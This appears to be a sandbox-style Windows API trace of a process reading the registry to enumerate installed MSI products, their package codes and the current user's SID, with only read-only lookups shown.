RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F100A0C00000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.762] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="7083432B79B7AFC44A7D532CA680C02B", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.762] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.762] lstrlenW (lpString="{90160000-001F-0C0A-0000-0000000FF1CE}") returned 38 [0068.762] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.762] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.762] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F100A0C00000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.762] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.762] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.762] lstrlenW (lpString="0") returned 1 [0068.762] lstrlenW (lpString="0") returned 1 [0068.762] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.762] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{B2343807-7B97-4CFA-A4D7-35C26A080CB2}") returned -1 [0068.763] GetCurrentThreadId () returned 0xf50 [0068.763] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.763] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x17, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109F100C0400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.763] GetCurrentThreadId () returned 0xf50 [0068.763] GetCurrentThreadId () returned 0xf50 [0068.763] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.763] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.763] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.763] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.763] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.763] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.763] GetCurrentThreadId () returned 0xf50 [0068.763] GetCurrentThreadId () returned 0xf50 [0068.763] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.764] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.764] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.764] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.764] LocalFree (hMem=0x32f770) returned 0x0 [0068.764] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.764] GetCurrentThreadId () returned 0xf50 [0068.764] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.764] lstrlenW (lpString="{90160000-001F-040C-0000-0000000FF1CE}") returned 38 [0068.764] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.764] GetCurrentThreadId () returned 0xf50 [0068.764] GetCurrentThreadId () returned 0xf50 [0068.764] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.764] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.764] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.764] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.764] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.765] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.765] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.765] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109F100C0400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.765] GetCurrentThreadId () returned 0xf50 [0068.765] GetCurrentThreadId () returned 0xf50 [0068.765] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.765] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.765] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.765] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.765] LocalFree (hMem=0x32f770) returned 0x0 [0068.765] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.765] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.765] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109F100C0400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.765] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.765] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.765] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F100C0400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.765] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="A67F4D76AEAA7214499FC3A8453CDD4F", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.766] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.766] lstrlenW (lpString="{90160000-001F-040C-0000-0000000FF1CE}") returned 38 [0068.766] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.766] lstrlenW (lpString="00006109F100C0400000000000F01FEC") returned 32 [0068.766] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.766] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F100C0400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.766] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.766] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.766] lstrlenW (lpString="0") returned 1 [0068.766] lstrlenW (lpString="0") returned 1 [0068.766] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.766] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{67D4F76A-AAEA-4127-94F9-3C8A54C3DDF4}") returned 1 [0068.766] GetCurrentThreadId () returned 0xf50 [0068.766] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.767] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x18, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="1926E8D15D0BCE53481466615F760A7F", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.767] GetCurrentThreadId () returned 0xf50 [0068.767] GetCurrentThreadId () returned 0xf50 [0068.767] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.767] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.767] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.767] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.767] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.767] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.767] GetCurrentThreadId () returned 0xf50 [0068.767] GetCurrentThreadId () returned 0xf50 [0068.767] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.767] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.767] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.767] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.767] LocalFree (hMem=0x32f770) returned 0x0 [0068.768] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.768] GetCurrentThreadId () returned 0xf50 [0068.768] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.768] lstrlenW (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 38 [0068.768] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.768] GetCurrentThreadId () returned 0xf50 [0068.768] GetCurrentThreadId () returned 0xf50 [0068.768] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.768] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.768] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.768] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.768] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.768] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.768] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.768] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\1926E8D15D0BCE53481466615F760A7F", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.768] GetCurrentThreadId () returned 0xf50 [0068.768] GetCurrentThreadId () returned 0xf50 [0068.769] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.769] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.769] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.769] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.769] LocalFree (hMem=0x32f770) returned 0x0 [0068.769] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.769] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.769] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\1926E8D15D0BCE53481466615F760A7F", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.769] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.769] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.769] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1926E8D15D0BCE53481466615F760A7F", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.769] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="D2F20908FE1EAC343B66479416790E40", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.769] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.769] lstrlenW (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 38 [0068.769] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.769] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0068.770] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.770] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1926E8D15D0BCE53481466615F760A7F", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.770] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.770] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.770] lstrlenW (lpString="0") returned 1 [0068.770] lstrlenW (lpString="0") returned 1 [0068.770] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.770] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{80902F2D-E1EF-43CA-B366-74496197E004}") returned 1 [0068.770] GetCurrentThreadId () returned 0xf50 [0068.770] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.770] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x19, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="1af2a8da7e60d0b429d7e6453b3d0182", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.770] GetCurrentThreadId () returned 0xf50 [0068.770] GetCurrentThreadId () returned 0xf50 [0068.770] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.771] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.771] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.771] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.771] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.771] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.771] GetCurrentThreadId () returned 0xf50 [0068.771] GetCurrentThreadId () returned 0xf50 [0068.771] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.771] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.771] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.771] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.771] LocalFree (hMem=0x32f770) returned 0x0 [0068.771] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.771] GetCurrentThreadId () returned 0xf50 [0068.771] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.771] lstrlenW (lpString="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 38 [0068.772] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.772] GetCurrentThreadId () returned 0xf50 [0068.773] GetCurrentThreadId () returned 0xf50 [0068.773] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.773] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, 